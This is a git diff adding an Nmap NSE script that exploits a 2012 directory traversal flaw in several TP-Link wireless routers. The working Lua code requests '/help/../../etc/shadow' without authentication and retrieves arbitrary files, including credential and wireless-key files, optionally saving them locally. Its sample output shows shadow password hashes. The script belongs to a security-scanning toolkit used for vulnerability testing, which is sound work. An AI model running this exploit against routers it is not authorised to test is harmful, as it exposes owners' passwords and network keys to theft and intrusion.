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Diffstat (limited to '')
| -rw-r--r-- | scripts/http-tplink-dir-traversal.nse | 158 |
1 files changed, 158 insertions, 0 deletions
diff --git a/scripts/http-tplink-dir-traversal.nse b/scripts/http-tplink-dir-traversal.nse new file mode 100644 index 0000000..f3a59a8 --- /dev/null +++ b/scripts/http-tplink-dir-traversal.nse @@ -0,0 +1,158 @@ +description = [[ +Exploits a directory traversal vulnerability existing in several TP-Link +wireless routers. Attackers may exploit this vulnerability to read any of the +configuration and password files remotely and without authentication. + +This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but +there are several models that use the same HTTP server so I believe they could +be vulnerable as well. I appreciate any help confirming the vulnerability in +other models. + +Advisory: +* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740 + +Other interesting files: +* /tmp/topology.cnf (Wireless configuration) +* /tmp/ath0.ap_bss (Wireless encryption key) +]] + +--- +-- @usage nmap -p80 --script http-tplink-dir-traversal.nse <target> +-- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse <target> +-- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn <target> +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-tplink-dir-traversal: +-- | VULNERABLE: +-- | Path traversal vulnerability in several TP-Link wireless routers +-- | State: VULNERABLE (Exploitable) +-- | Description: +-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device. +-- | This vulnerability can be exploited remotely and without authentication. +-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND +-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N. +-- | Disclosure date: 2012-06-18 +-- | Extra information: +-- | /etc/shadow : +-- | +-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: +-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: +-- | bin::10933:0:99999:7::: +-- | daemon::10933:0:99999:7::: +-- | adm::10933:0:99999:7::: +-- | lp:*:10933:0:99999:7::: +-- | sync:*:10933:0:99999:7::: +-- | shutdown:*:10933:0:99999:7::: +-- | halt:*:10933:0:99999:7::: +-- | uucp:*:10933:0:99999:7::: +-- | operator:*:10933:0:99999:7::: +-- | nobody::10933:0:99999:7::: +-- | ap71::10933:0:99999:7::: +-- | +-- | References: +-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740 +-- +-- @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd +-- @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location. +-- +-- Other arguments you might want to use with this script: +-- * http.useragent - Sets user agent +-- + +author = "Paulino Calderon <calderon@websec.mx>" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln", "exploit"} + +local http = require "http" +local io = require "io" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local vulns = require "vulns" + +portrule = shortport.http + +local TRAVERSAL_QRY = "/help/../.." +local DEFAULT_REMOTE_FILE = "/etc/shadow" + +--- +--Writes string to file +--Taken from: hostmap.nse +local function write_file(filename, contents) + local f, err = io.open(filename, "w") + if not f then + return f, err + end + f:write(contents) + f:close() + return true +end + +--- +-- Checks if device is vulnerable by requesting the shadow file and looking for the pattern 'root:' +--- +local function check_vuln(host, port) + local evil_uri = TRAVERSAL_QRY..DEFAULT_REMOTE_FILE + stdnse.debug1("HTTP GET %s", evil_uri) + local response = http.get(host, port, evil_uri) + if response.body and response.status==200 and response.body:match("root:") then + stdnse.debug1("Pattern 'root:' found.") + return true + end + return false +end + +--- +-- MAIN - The script checks for vulnerable devices by attempting to read "etc/shadow" and finding the pattern "root:". +--- +action = function(host, port) + local response, rfile, rfile_content, filewrite + local output_lines = {} + + filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile") + rfile = stdnse.get_script_args(SCRIPT_NAME..".rfile") or DEFAULT_REMOTE_FILE + + local vuln = { + title = 'Path traversal vulnerability in several TP-Link wireless routers', + state = vulns.STATE.NOT_VULN, + description = [[ +Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device. +This vulnerability can be exploited without authentication. +Confirmed vulnerable models: WR740N, WR740ND, WR2543ND +Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]], + references = { + 'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740' + }, + dates = { + disclosure = {year = '2012', month = '06', day = '18'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + + local is_vulnerable = check_vuln(host, port) + if is_vulnerable then + vuln.state = vulns.STATE.EXPLOIT + response = http.get(host, port, TRAVERSAL_QRY..rfile) + if response.body and response.status==200 then + stdnse.debug2("%s", response.body) + if response.body:match("Error") then + stdnse.debug1("[Error] File not found:%s", rfile) + vuln.extra_info = string.format("%s not found.\n", rfile) + return vuln_report:make_output(vuln) + end + local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)') + vuln.extra_info = rfile.." :\n"..rfile_content + if filewrite then + local status, err = write_file(filewrite, rfile_content) + if status then + vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite) + else + vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err) + end + end + end + end + return vuln_report:make_output(vuln) +end |